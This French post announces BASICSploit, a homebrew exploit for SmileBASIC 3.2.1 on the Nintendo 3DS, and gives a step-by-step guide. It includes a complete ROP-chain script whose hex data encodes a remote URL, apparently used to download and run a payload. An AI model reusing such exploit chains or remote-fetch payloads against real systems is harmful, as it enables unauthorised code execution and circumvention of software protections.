MrNbaYoh n'a pas chômé ! Alors que le hacker venait de publier il y a quelques jours une vidéo prouvant qu'il avait réussi à exploiter une faille dans le programme SmileBASIC, voilà qu'il revient déjà à la charge en le partageant au grand public. Baptisé sobrement BASICSploit, cet exploit n'est pour rappel disponible que pour les joueurs nord-américains et japonais, étant donné que le fameux logiciel SmileBASIC (une sorte de jeu aidant à l'apprentissage du langage de programmation BASIC) n'est téléchargeable que sur les eShop US et JP.
0) Pré-requis
- Une 3DS avec SmileBASIC en version 3.2.1 ;
- Le homebrew starter kit.
Vérifiez bien que vous êtes connecté à internet, en vous rendant dans le menu Home de votre 3DS et en touchant le petit bouton en haut à gauche de l'écran inférieur (avec l'icône en forme de maison).
1) Mini-tuto
1.A) La première fois
Décompressez l’archive du homebrew starter kit à la racine de votre 3DS. Si vous ne savez pas comment lier celle-ci à l’ordinateur, consultez ce court tutoriel.
Lancez SmileBASIC, et créez un nouveau projet nommé "BASICSPLOIT" ainsi qu'un nouveau fichier nommé "DOWNLOADER". Écrivez (à la main...) dans ce nouveau fichier le script qui suit :
IF HARDWARE==1 THEN CODE_LINEAR_BASE=&H30000000+&H07C00000-&H00100000 ELSE CODE_LINEAR_BASE=&H30000000+&H04000000-&H00100000 ENDIF DATA &HDEADC0DE, &H13341C, &H94500D3, &H109924, &H1E6790, &H10ECA4, &H94500A0, &H1C15D8, &HDEADC0DE, &H94500D7, &HDAFC9754, &H115D5C, &H248720, &H94500DB, &H9450108, &H1DFECC, &H9450074, &H256D78, &H109924, &H2554DC, &H1000, &H248A8C, &HDEADC0DE, &H1FBA38, &H70747468, &H6D2F2F3A, &H61626E72, &H2E686F79, &H68746967, &H692E6275, &H61622F6F, &H73636973, &H696F6C70, &H73752F74, &H3132335F, &H725F642F, &H622E706F, &H6E69 DIM ROP[&H27] ROP[0]=CODE_LINEAR_BASE FOR I=1 TO &H26 READ ROP[I] NEXT BGSCREEN 0,134217728,16 ROP_COPYBASE_X = 406873 ROP_COPYBASE_Y = 7 ROP_LENGTH = LEN(ROP) I=0 J=ROP_COPYBASE_Y X=ROP_COPYBASE_X WHILE I < ROP_LENGTH WHILE I < ROP_LENGTH AND J >= 0 WORD=SHIFT(ROP) BGPUT 0,X,J,WORD DEC J BGPUT 0,X,J,WORD>>16 DEC J INC I WEND INC X J=15 WEND BGPUT 0,4759,2,"0017" BGPUT 0,4759,3,"0D28" FILL ROP,0 END
Lancez le script. Le programme devrait télécharger toutes les ressources nécessaires puis lancer le menu in-game. Une fois arrivé dessus, choisissez l'option "Download/Update" pour télécharger le payload du hax. Quand il sera téléchargé, vous n'aurez plus qu'à le lancer avec la première "entrée" du menu.
1.B) La seconde et les prochaines fois
Lancez simplement le script nommé "BASICSPLOIT" pour accéder au Homebrew Launcher.
N'hésitez pas à poser vos questions ou à réagir en commentaire ! ;)
0 commentaire
Laisser un commentaire